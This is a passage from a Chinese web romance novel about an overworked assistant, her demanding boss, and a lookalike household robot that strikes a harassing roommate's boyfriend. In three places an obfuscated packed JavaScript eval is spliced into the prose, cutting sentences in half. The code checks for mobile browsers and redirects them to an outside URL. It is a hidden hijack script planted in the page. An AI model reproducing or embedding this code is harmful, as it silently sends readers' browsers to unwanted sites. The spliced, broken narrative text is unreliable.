裴予衡目光不动声色从她们相连的双手上移开,转眼间,眉眼已染上一丝笑意,他说:“你们好,很高兴见到你们,不过等一会我可能需要问你们借一下林助理。” 需要问你们借一下林助理。 林静知心里涌起一丝疑问,她有些迷惑地看向裴予衡,明眸中有淡淡不解。 她刚想开口询问,嘴巴却被许陈晨星快速从后面捂住,“借,能借,我们上完香知知就可以跟您走。” 裴予衡朝她点头致谢,又看向林静知,问道:“林助理,待会就麻烦你和我去见一下客户了,可以不?” 林静知:“……”现在不是她的休假时间吗?好想拒绝,好想拒绝。 “可是我现在是休假时间哎,加班的话有加班工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352655|199516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 资吗?” 裴予衡瞥了她一眼,“三倍工资如何?” “我加,现在就可以走。” 态度无比坚决,语气异常坚定。 裴予衡被她的行为逗得失笑,他将拳抵在唇边,低低咳了一声,“先许愿吧,香都要烧没了,客户不着急。” 请假来寺庙不就是为了许愿让他不再克她,如果不让她把这个愿许完,回去还不知道得怎么折腾他呢。 见裴予衡这么说,林静知赶紧低头看手里的香,果真已经被烧掉一半,要是再说一会话,她这三圈宝塔得白转。 有点心虚地看了一眼裴予衡,林静知闭上双眸,将信香举过头顶,当着他的面,许下将老板反克回去的心愿。 裴予衡看着眼前表情虔诚,嘴里念念有词的林静知,微微勾起唇角,和她并肩站齐,静静闭上双眼。 “蒋迟砚,愣着干什么,你的香也快没了,赶紧许愿。”许晨星轻拉蒋迟砚衣袖,将他从沉思中拉回,他本身就是一个比较沉默的人,就算有一点失态,别人也很难察觉。 蒋迟砚深吸口气,最后看了眼并排站在一起的林静知和裴予衡,认命般放下手中的香,无奈闭上眼睛。 老天可真是残忍。 他就这么小的一个愿望,竟也不能满足。 三分钟后,林静知心满意足睁开眼眸,她身子微侧,看向身旁姿态从容,脊背却挺得笔直的男人,“裴总,我和我朋友说一下话,您稍一会。” 裴予衡点点头,转过身去。 林静知拉着许晨星的手,走到一边,“星星,你过一会帮我去求一个护身符,如果我耽搁时间比较长的话,你就和蒋迟砚先回去,等这个周末我去找你。” 许晨星转身看了眼裴予衡挺拔的背影,又看向林静知略带纯净的眼眸,她暗暗想笑。 知知啊,护身符我能替你求得,但是你这人我可能就等不得了。 咱们还是周末见吧。 想到这,她拍拍林静知肩膀,露出一个不可言说的笑容,“去吧去吧,我等你好消息。” 林静知又有点陷入迷茫,她就加一个班,能有什么好消息。 —— 12. 糟糕的生日 因为这场突如其来的车祸,在推迟一个多月后,林静知在北城第三场暴雪中迎来了她的二十二岁生日。 从法喜寺回来后,林静知就答应裴予衡提出的条件,签下那份合同。也是从那天起,她的工作量直接翻倍,不仅要负责裴予衡日常活动,还要跟进知寰最近新开的一个项目。 以前是起得比鸡早点,睡得比狗晚点。 现在鸡已经远远没她起的早了。 好不容易挨到周末,还不用出差,林静知怎么也不愿意早起。 室外暴雪纷飞,林静知懒洋洋歪头靠在床头的灰色小熊抱枕上,她半眯着眼,强忍着睡意,手里握着一杯刚冲好的温牛奶,一脸生无可恋。 床头边传来温柔又带些无奈的声音,“主人,早睡早起,按时吃早餐是个好习惯,您把牛奶喝了,然后再继续睡觉。” 林静知没理他,依旧歪着脑袋,甚至还有向下滑倒的趋势,显然已经快要再一次和周公会面。 ‘裴予衡’微微俯身,右手轻轻将林静知手中的牛奶抽出,左手将盖在她身上的被子慢慢往上扯,直至盖在她脖颈下面。 “主人,昨天晚上您不是和许小姐他们约定好今天要在家里过生日吗?我们需要准备一下。”‘裴予衡’稍稍提高音量,“然后,您还需要搬家,等庆祝结束,我就可以着手收拾您的物品了。” 它的声音不大,一字一句就像夏季山涧里流淌的清泉,叮叮咚咚,使本就昏昏欲睡的林静知彻底被睡意裹挟。 她摆摆手,嘟囔:“我知道啦~容我再睡一会,你跪安吧。” 床上传来林静知均匀的呼吸声,‘裴予衡’轻柔地将林静知的手放进被窝里,随即转身把门关上,走到客厅准备晚上过生日需要的装饰道具。 周末的清晨,空荡荡客厅满是寂静,‘裴予衡’从角落里搬出一个矮脚凳在一堆快递前面坐下来。 刚用小刀把其中的一个快递划拉出口子,突然,它的后面传来一阵暴躁的埋怨声。 “mad,周末的早上吵什么吵,还让不让人睡了,你这机器人,再乱动,信不信我直接废了你,再让你享受一下别样的快乐。” ‘裴予衡’的脸色瞬间沉下来,他向后望去,只见左边卧室门口站了一个穿着灰色秋衣秋裤,神情阴郁的卷毛男人。 这是它第二次见到这个男人,‘裴予衡’上下扫视,迅速从大脑里调出他的资料。 姓名:未知。 年龄:未知。 外貌:丑。 身份:主人室友的男朋友。 性格:暴躁好色,不爱干净,爱占便宜,具有一定攻击性,欺负过主人。 背景:长期无工作,靠女友养活,前段时间大吵大闹后突然消失,疑似被抛弃。 现在这个男人又出现在这里,说明他和女朋友已经复合了。 垃圾男人,‘裴予衡’心想。 这样的男人放在它们机器人界都是要进焚化炉进行回炉重造的。 他的女朋友智商也不行,竟然一次又一次原谅这个垃圾。 还是它的主人最好,美丽又善良。 见‘裴予衡’不反驳他,面前的男人开始得寸进尺。 说实话,卷发男在第一次看到‘裴予衡’时就被他惊为天人的容貌迷得走不动路。 他本就喜欢那种二次元人物,尤其痴迷机器人、手办之类的。 一瞬间,他的心被狠狠勾了起来。 本想趁着林静知上班时间,偷偷溜进她的房间好好玩弄一下,结果遇到那个死女人非要和他分手,二话没说就把他赶了出去。 被女人分手损失的面子和没得到机器人的欲望将他狠狠撕扯。 于是,他找了份工作,又天天嘘寒问暖,终于将那个死前女友哄了回来,重新回到这个出租屋。 他以为得费不少劲才可以看到朝思暮想的机器人,没想到它竟然这么轻易出现在自己面前,连带着周末被吵醒的坏心情都暂且消失了。 既然这样,那就别怪他今天好好宠幸一下这个美丽的机器人了。 反正他查过,它们的第一条底层指令就是不许伤害人类,自己再怎么为所欲为,它也反抗不了。 这样想着,卷发男露出一个猥琐的笑容,搓着双手,一脸志在必得地向‘裴予衡’走去。 一边走,嘴里还念念有词道:“小机器人,别跟着你主人了,跟着我吧,我肯定把你擦洗干净,放在床上好好供养,不会让你干这些脏活累活的。不信的话,你可以看看我的那些手办玩具,哪一个不是好好的娇养着。你看你这么漂亮,肯定很贵,万一坏了,多让人心疼啊!” ‘裴予衡’没说话,只是冷冷盯着眼前这个神经病一样的男人,他慢慢站起来,将小刀从快递盒上移开,摆出防御姿势。 机器人的底层指令是不允许伤害人类,这是刻在他程序里的一道终极代码。 它知道。 可是,不知从什么时候起,这个禁令在慢慢减弱。它疑惑,想从数以万计的人类给它灌输的信息中寻找答案。 没有。 不是机器人摆脱人类,拥有新的意识,也不是它有了关爱,生出感情。 就好像是监控出现了不正常的画面静止,它的程序出现了漏洞。 不过,‘裴予衡’想,这些不重要,不管它是不是出现问题,也不管它的记忆是否出现断代,只要主人不抛弃它,它就永远呆在主人身边。 看到‘裴予衡’拿起的小刀,卷发男竟然哈哈大笑起来,“你拿刀要伤害我吗?哈哈哈,机器人也敢伤害人类,不怕我一个电话打到你们公司,让你回炉重造吗?” “我好像还没有听见你说过话,要不你叫两声给我听听,我也可以考虑考虑放过你。” 不能给主人添麻烦,这是‘裴予衡’的第一想法,如果它今天真的伤害到这个人类,那么它很有可能会被送回公司,彻底离开主人。 思考到这,‘裴予衡’眯着眼将刀放在旁边的桌子上,它声音冷冷的,带着一丝威胁与警告,“我已将你的行为和语言全部记录在案,我属于主人私有物品,如果你伤害到我,我的主人会追究你的责任。” 像是被‘裴予衡’的话笑到,卷发男竟大笑起来,“一个连基本人权都没有的机器人能追究我什么责任,大不了我给你主人点钱,将你买过来。” 他的言辞越来越不堪入耳,距离也越来越近,直到—— “啊——”刺耳的惨叫声在客厅的客厅内响起,卷发男捂着肚子倒在角落里,豆大的眼泪刹那间从眼眶里冒出,脸上流露出痛苦的表情。 此情此景让‘裴予衡’精密的大脑有些短路,它也没想到自己竟然可以出手将这个恶心猥琐的人类打倒在地。 它的程序明明不是严令禁止这种行为的吗? “主人,主人,”‘裴予衡’无比精致的脸蛋上突然出现惊慌,甚至语调中都带上一丝哭腔,他以最快速度冲进林静知的房间,“我没法控制自己,我真的中病毒啦!我真的中病毒啦!” 正在和周公会面,并做着买彩票中了一千万,马上就可以兑奖的林静知被它的鬼哭狼嚎声从美梦中吵醒。她烦躁地揉了揉在被窝中滚得不成样子的鸡窝头,眯着眼从床边举起小熊抱枕,用尽全身力气向‘裴予衡’砸去。 “裴予衡,大早上的你鬼叫什么,还让不让人睡觉了!在公司受你压榨,回到家也不让我睡一个安生觉,你在吵我睡觉,我就把你拆了送到垃圾站进行回收!” 林静知控诉的声音,一句大过一句,甚至还有暴起的趋势,‘裴予衡’立刻捂住嘴巴,小心翼翼又委屈地站在床头。 它的主人是有间歇性起床气的,都怪刚才的惊吓,让它大脑都短路了,竟把这么重要的事情都抛之脑后。 ‘裴予衡’缓慢蹲在床头,抬头凝视着林静知的双眸,转而换上温柔又委屈的语气,“主人,外面有个卷发男说如果我不听他的话就要将我销毁,还说要给你钱买我,他想对我实施不轨行为,我控制不住打了他。” 那张精致得近乎不像真实的脸就这么突然靠近,林静知呼吸猛地窒了下,她光着脚慢慢后退,直到后背倚上光滑冰凉的墙面才堪堪停下。 再也没有一丝睡意。 “告状就告状,突然靠这么近做什么。” “对不起,主人,”它继续向前,直至上半身跪趴在床上,“我不应该吵到您睡觉,要是您不开心,就惩罚我吧。” 林静知身体不由自主微抖一下,她再一次心想,‘裴予衡’不会真的解锁什么不得了的癖好吧。 “没有,没有吵到我,”林静知摆手尴尬笑笑,“再给我详述一遍刚才发生的事情。” ‘裴予衡’又把它刚刚痛打卷发男的事情原原本本叙述了一遍,直到说起关于病毒问题时才开始添油加醋起来。 “主人,要是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17368181|199516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我的程序真的出现问题,您真的会像卷发男说的一样,把我送回厂家进行销毁重启吗?” 它的脸上流露出浓浓担忧,甚至夹杂着一丝害怕。 林静知想,机器人也会和人类害怕死亡一样,害怕重启吗? “不会的,”林静知轻轻摇头,从墙边移开,来到‘裴予衡’面前,她伸出手,温柔抚摸它有些凌乱的头发,“有我在谁都不能将你送走。” “咚咚咚……” 突然,激烈的敲门声打破满室温情,两人同时抬眸望去,门外传来阵阵不堪入耳的咒骂声。 “贱人,打了我就想跑,你和你的主人一样不识好歹,赶紧出来赔偿我,不然我就报警了。” 撞门声越来越激烈,震得墙皮都开始脱落。 ‘裴予衡’眼神一冷,他站起身,想要开门。 “等等,”林静知阻止它,“我来,我想收拾他很久了。” 林静知穿好衣服,走到门后,将一杯水洒在地板上,然后计算卷发男击打门框的频率,短暂停歇的一瞬间,她猛地拉开门。 “砰——啊——” 一声惨烈的巨响后,卷发男以狗吃屎般姿势栽倒在地,他的脸狠狠摔在瓷实地板上,两条腿止不住抽动,嘴里发出呜呜呜的叫骂声。 “贱人,我的脸,痛死我了!刚才打我,现在又让我摔倒,报警,我要报警!”他边叫骂,边艰难从地上爬起。 林静知站在原地,俯视他,嗤笑,“你干了这么多恶心的事情,我都没报警,你还好意思报警?” “你,你说什么胡话,”卷发男气势骤然低下去,他有些心虚开口,“我也不是斤斤计较的人,赔我点钱,我们可以私了。 老小区本就不隔音,林静知合租的这个装修房型更是一间挨着一间,毫无隐私可言。经过大早上这么一闹腾,原本正在熟睡的其他两个室友纷纷被吵醒。 “邱玄,大早上你来林静知房间里发什么疯!”身穿白色棉质睡衣,染着栗子头的女生一脸怒意。 卷发男看见怒气冲冲的女友,立刻换了一副委屈的表情,“赵语,是她的机器人打我,”邱玄用手指着‘裴予衡’恶狠狠道:“我找他们理论,他们居然把水泼在地上,让我摔了个大跟头,你看我的牙都流血了!必须给我赔偿。” 赵语没理会他的告状,她知道自己男朋友是什么样的人,图的就是他那副样貌、好身体和持续不断的情绪价值。 至于背地里怎么样,她不管。 成年人只在乎自己开心就行,反正她也没打算和他有什么结果,各取所需不是很好嘛。 但是,这些的前提是这个男人不要给她惹麻烦,就算惹麻烦也不要闹到她的面前。 可现在,这两样最基本的规则他都破坏了。 赵语深吸口气,脸上挤出一丝笑容,“静知,真是抱歉,大清早给你惹麻烦,你也不需要赔偿,我马上就把他带走。” 话音刚落,就见赵语向前几步,握住邱玄的手臂,半推半拉将他带出林静知房间。 “等一下,赵语,我明天就搬走了,”林静知喊她的名字,然后走到旁边的柜子前拿出一张储存卡放到她手里,“我不知道你为什么选择一直和他在一起,这里面的东西你可以看看。” 赵语接过储存卡,握在手心,“谢谢你,祝你搬家顺利。” 邱玄目光也聚集在那张小小储存卡上,他心里涌起滔天巨浪,他在这里住了也挺久的,怎么不知道还装了摄像头。 那他之前背着赵语干的坏事,骂赵语的那些话,岂不是全都要被她知道了。 他不敢吭声,更不敢朝林静知索要任何补偿,跟在赵语身后慢慢离开。 “静知,你真的要搬走?”另一位室友靠在门边轻声询问。 林静知点点头,笑着解释:“没办法,工作太忙了,只能租离公司近一点的地方。” “好吧。”女孩叹口气,“你算是解脱了,我工作就在附近,现在换房子也不划算,我再忍一忍吧。” “或许你马上也就不用忍了。”林静知拍拍她的肩膀,笑着把门关上。 和赵语相处的这段时间,林静知也算对她有些了解。虽然她表面上看起来大大咧咧,除了工作什么都不在乎,对这个男友更是能忍让。 可林静知很清楚,她是一个多么有原则的人。 这一次,她可以保证,赵语会和这个垃圾男人分手。 13. 完蛋了 经过这短暂的的闹腾,林静知再也没有一丝睡意,她到洗漱间进行简单洗漱,又从衣柜中挑选一件加长款粉色羽绒服,随后带着‘裴予衡’来到楼下空地处。 天色昏暗,雪越下越密,漫天飞舞的雪花像柳絮又像盐粒,密密匝匝朝大地裹挟而来,仿佛要用纯白将一切吞噬殆尽。广场上除了几个已经堆好的雪人,已无任何踪影,整个世界好似陷入一片寂静。 林静知从‘裴予衡’高高举起的伞下跑出来,用羽绒服的帽子把头发牢牢围住。她蹲在雪地上,笑意盈盈地搓着一团雪球,然后趁着‘裴予衡’不注意,用力砸在他的脑门上。 “主人,你耍赖!”雪球顺着他的额头滚落在脖颈处,带来刺骨凉意,‘裴予衡’把伞丢在一边,蹲在地上,学着林静知的动作,也搓出一个不大不小的雪球。 但是,没有主人的命令,他不敢把雪球扔出去,只能委屈巴巴看着林静知,“主人,我想打雪仗。” “没问题啊。”林静知眯着眼,笑着满口答应。 “主人,你真好。”‘裴予衡’这个机器脑袋哪有什么心机,正当他高高兴兴感激自己主人时,林静知却话锋一转,她歪着头,故意说道:“但是,打雪仗只能我打你,你不可以还手哦~” ‘裴予衡’刚扬起的笑脸瞬间垮了下来,还未来得及说话,林静知便又搓好另一个雪球向他重重砸来。 这一次,雪球正好落在他刚张开的嘴巴里。 “啊——主人,我要短路啦!”‘裴予衡’立刻将雪球从嘴里吐出来,然后,直挺挺仰躺落地,嘴里还大声喊着救命。 林静知被它的动作吓了一跳,心顿时提到嗓子眼,她迅速将手中的第三个雪球扔掉,慌忙跑到‘裴予衡’身边要检查它的身体状况。 如此智能的机器人也能短路吗? 这是林静知第一次遇到这样的情况,虽然她知道她们公司的机器人有着很好的防水系统,甚至包裹住一些重要部位后,他们的机器人还可以洗澡。但是,‘裴予衡’虽然手臂上刻着知寰科技的图标,它的情况又有些不同。 她不敢赌那万分之一的可能。 林静知蹲在‘裴予衡’身边,双手放在它的衣领处,正要解开它的衣服查看情况时,刚才还喊着短路的‘裴予衡’猛地睁开双眼,眼眸漆黑不见底,直勾勾地盯着林静知。 林静知被它突如其来的行为吓了一跳,她向后踉跄几步,一屁股坐在地上。 “裴予衡,你干什么,想吓死我吗!” ‘裴予衡’撑着手臂从地上起来,它快速走到林静知身旁,把她抱起来,又轻柔地擦掉她手上的雪。 它站在林静知面前,头慢慢垂落,语气低沉,“主人,对不起,我刚才是在和您开玩笑,我没有短路,我就是想逗一逗你,让你开心。” 看着它无比委屈的神色,林静知简直怒火中烧,她用力扭着‘裴予衡’的耳朵,“逗我开心,你看我像开心的样子吗?你知不知道,机器人的短路在一定程度上就相当于我们人类的休克,稍有不慎就会死亡的。气死我了!” 林静知越说越气,原地转了一圈想找些工具给‘裴予衡’的机生留下深刻难忘的记忆,可找了一圈只有皑皑白雪,连一根枯萎树枝的影子都没见到。 “我们回家!”她说。 ‘裴予衡’有些困惑,他们不是出来买食材的嘛,为什么现在就要回去。它很想问问原因,但是,它的主人现在看起来很生气,还是暂且不要打扰她了。 于是,它小心翼翼捏着林静知的衣角,默默跟在她的后面,朝家里走去。 还没走几步,‘裴予衡’突然感觉到林静知口袋里传来手机铃声,它以为林静知没听见,便用力扯了扯,示意她停下。 林静知其实早就听到铃声,但是她一点也不想接。 因为,这个是她为裴予衡设置的专属铃声。 烦人! 家里的‘裴予衡’刚刚给她惹完事,火气还没撒完呢,公司里的裴予衡又来给她找事情。 怎么哪哪都是裴予衡啊! 好想把他们豆鲨了!豆鲨了! 自我安慰了一会,林静知深吸口气,掏出手机,咳了两声,“喂,裴总,请问有什么事情需要我处理吗?” 小区东门。 一辆黑色迈巴赫停在在梧桐树下,裴予衡坐在后座长腿交叠,通过车窗看向小区,嘴角噙着一抹淡淡的笑意。 “我来这边处理一些事情,谭啸说今天是你生日,给你买了一个蛋糕。” 谭啸:“……” 天地良心,他没说过,蛋糕也不是他买的。 “蛋糕!”林静知猛然提高声音,“裴总,您的意思是,你们现在在我家楼下?” 裴予衡淡淡“嗯”了声,“要是你不介意,我也可以送上去……” “介意!介意!” 裴予衡的话还未说完,林静知便立刻大声拒绝。 要命,怎么可能让裴予衡上来。要是他见到这个和他长得一样的机器人被她当做仆人一样使唤,动不动不高兴了还给它一巴掌,别说工作,林静知感觉自己的小命都会不保。 林静知决绝的语气让裴予衡的神色慢慢变冷,他眉眼低压,莫名带上一丝戾气,嗤笑,“怎么,我就这么不受林助理待见?还是说我买的这个蛋糕有毒,人吃了会死?” “裴总,我不是这个意思,”林静知听出裴予衡语气的转变,她笑着解释,“是我这个出租屋又小又乱,还堆放着杂七杂八的大东西,您来了没法落脚。” “小小生日还能得裴总挂念,我怎么会不开心呢,您在小区门口稍等一会,我穿好衣服就下来。” 裴予衡拿着手机,站在小区广场尽头。他眯着眼,看着说马上穿衣服下来,实则正带着这个长得和他一样的机器人匆匆往回赶的林静知,啧了一声。 真是个说谎眼都不眨一下的小骗子。 裴予衡轻笑,被林静知斩钉截铁的拒绝激发出的丝丝怒气瞬间消逝得无影无踪。 他知道她为什么不愿意让他上去了。 是怕他发现她在家里偷偷藏了一个他吗? 林静知啊林静知,再隐瞒有什么用呢,他已经知道,也切切实实感受到了。 裴予衡回到车内把蛋糕提出来,不紧不慢走到小区门口的被车压出的一条浅水滩前,他抬脚轻轻落在冰面上,“啪嗒——”一声响起,冰面破碎,他将脚慢慢下压,直到污水慢慢没过脚踝。 重新执起电话,裴予衡感受着已经快要被冻得没知觉的双脚,他漫不经心的笑,“林静知,我想下来给你送蛋糕,但是不小心踩到水坑里了,天气很冷,你能帮帮我吗?” 刚回到家,准备重新下楼的林静知:“……” 怎么感觉有一种‘裴予衡’的味道。 大老板记得你的生日,并且外出办事到你家附近还能想到给你带一个蛋糕,带蛋糕也就算了,还为了帮你送到家门口弄湿了衣服和鞋。 这时候,身为好的员工,好的助理,你会怎么做? 当然是把老板请回家,好吃好喝供着,然后给他买一双干净的鞋袜,再恭恭敬敬送走啊! 林静知是这样想的,当然,他也这样做了。 她回了电话:“裴总,真是麻烦您还给我送过来,这样吧,您在原处等我一会,我马上就下来接您。保证不会让您受一点风寒。” 说完,林静知便急急忙忙挂了电话。 她巡视四周,竟然找不到一处可以让‘裴予衡’藏身的地方。 ‘裴予衡’“主人,您好像很着急,我有什么可以帮您的?” 林静知瞥他一眼,没说话,心里却想着,我能不着急吗?我要是不着急,你和我马上都可以回炉重造! 又找了一圈,还是没有可以藏人的地方。 林静知忧愁地躺在沙发上,看着已经结了些蜘蛛网的天花板,无奈叹息,“你说你长这么高做什么,我都没有地方藏你。” ‘裴予衡’脸上露出一抹羞涩,“藏我?主人,你是要和我玩金屋藏娇吗?” 林静知:“……” 她能不能把它从楼上扔下去?不是常说夫妻本是同林鸟,大难临头各自飞吗?更何况他们还不是夫妻,那她把它丢掉自己走,完全没问题的,对吧! 正想着,铁门外传来阵阵敲门声,林静知从沙发上爬起来,刚想喊是谁,手机也同时传来震动。 手机上端弹出一条消息。 是裴予衡。 他说:【林助理,很抱歉。外面太冷了,我擅作主张没等你下去就来敲门,要是方便的话,我取完暖就走。】 林静知:“……” 不方便的话就能不开吗?现在很不方便呢,裴总! 但是这些话林静知哪敢说,她点进微信,快速给他回了一条信息。 【方便的,裴总,我衣服马上就穿好,麻烦您稍等我几分钟。】 林静知麻溜地回到房间,将雪地靴换成棉拖,又把围巾取下来,塞进衣柜,佯装刚起床的模样。一切收拾完毕,林静知把‘裴予衡’拉到窗帘后面,又把两个行李箱堆在它前方。 做完这些,她站在‘裴予衡’面前,板着脸警告,“无论发生什么,不允许行动,不允许出声,你的任务就是在窗帘后面待一天,听到没有。” “听到了,主人,我保证完成任务。” 林静知笑着拍拍它的脸蛋,假装威胁道:“乖乖的,要是搞砸了,我就把你大卸八块。” “裴予衡”不懂林静知的伪装,它只知道要是乱动最疼爱的主人就要把它大卸八块,它就再也见不到主人。 焦急的情绪和指令触动了它的自我保护机制。 一瞬间,它明亮有神的瞳孔逐渐变得暗淡,说话也变得磕磕绊绊,直到眼睛慢慢阖上,它说出最后一句话,“已为您启动休眠程序。” 林静知有些傻眼,但是现在她也没有时间来研究‘裴予衡’为什么会突然休眠,她快速将卧室整理干净,然后走到门口给裴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谭啸好似也意识到对面情况有些不对劲,他轻咳一声,“我这边有很紧急的情况,稍后再联系。” 随后,立刻挂掉电话。 林静知尴尬地笑着把黑屏的手机递给裴予衡,头脑风暴,想着该如何揭过这个话题。 没成想,裴予衡却主动提出来,他微微俯身,靠近林静知,注视她的眼睛,嘴角勾起一丝笑容,“林静知,我不管别人,但是我希望在私底下你能喊我的名字。” 按理说每天面对‘裴予衡’,她早该对这张脸免疫,可不知为什么在那张惊为天人的脸靠近时,她的呼吸竟有一丝慌乱。 像是有人用力狠狠扼住她的喉咙,让她昏昏然,不能呼吸,脑海里都是他的模样。 “好……好的。”林静知有些结巴,然后转过脸,不再看他。 客厅骤然陷入一片寂静,暖气四溢,林静知感觉整个屋子都充满裴予衡的气息,简直叫人无处躲藏。 她假装咳了咳,对裴予衡说:“裴总……裴予衡你吃早饭了吗?要不我现在给你做一点?不吃早饭对身体不好。” 裴予衡摇头,又瞥了一眼厨房,暗暗腹诽,早上给你做的早餐你现在都没动一口,还好意思说我。 他从沙发上起来,伸伸懒腰,开始转移话题,“不是马上搬家吗?需不需要我帮你收拾收拾?” 一个月前,新家都已经按照她喜欢的风格全部改装完毕,换上和他相同的家具。 可以说,两个房子,除了软装配色,剩下的几乎是一模一样。 刚开始的时候他还会欺骗自己是因为他莫名和她的机器人连接在一起,他需要接近她调查真相。 可是经过这段时间的相处,关于她的久远的已经快要记不清的记忆又渐渐浮现,一帧一帧映入他的大脑。 他不是一个优柔寡断的人,更不是什么好人。既然确认自己的心意,想每天见到她,想她爱他,想把她拖入他的世界,他就永远不可能放手。 即使她现在对待感情还是懵懂,即使她还认为他是那个天生克她的人。 这些都没关系,他会慢慢改变她的想法,让她慢慢适应他,喜欢他,直到,再也离不开他。 而慢慢适应他的第一步就是入侵她的空间,然后带她再踏入他的世界。 林静听不到裴予衡内心的阴暗想法,她只知道,千万不能让裴予衡进入卧室,更不能动她的东西,不然‘裴予衡’肯定会被他发现。 “不用了,我的东西不多,而且已经收拾得差不多了,不用再劳烦你动手。” “林静知,”他突然喊她,眉毛轻挑,“我不想听到你叫我裴总,也不想听到你用您来称呼我,我只比你大四岁,还没有那么老。” 林静知:“好的,裴……裴予衡。” 自从法喜寺回来后,裴予衡就变得很奇怪,今天更是怪到不行。